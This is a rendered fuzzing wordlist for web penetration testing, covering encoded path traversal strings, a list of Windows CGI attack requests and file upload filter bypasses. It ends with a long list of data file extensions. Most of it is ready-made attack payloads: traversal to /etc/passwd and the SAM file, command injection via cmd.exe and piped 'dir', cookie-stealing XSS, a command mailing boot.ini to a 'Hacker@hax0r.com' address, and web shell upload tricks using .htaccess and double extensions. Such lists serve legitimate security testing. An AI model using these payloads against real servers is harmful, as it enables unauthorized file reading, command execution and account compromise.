%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> 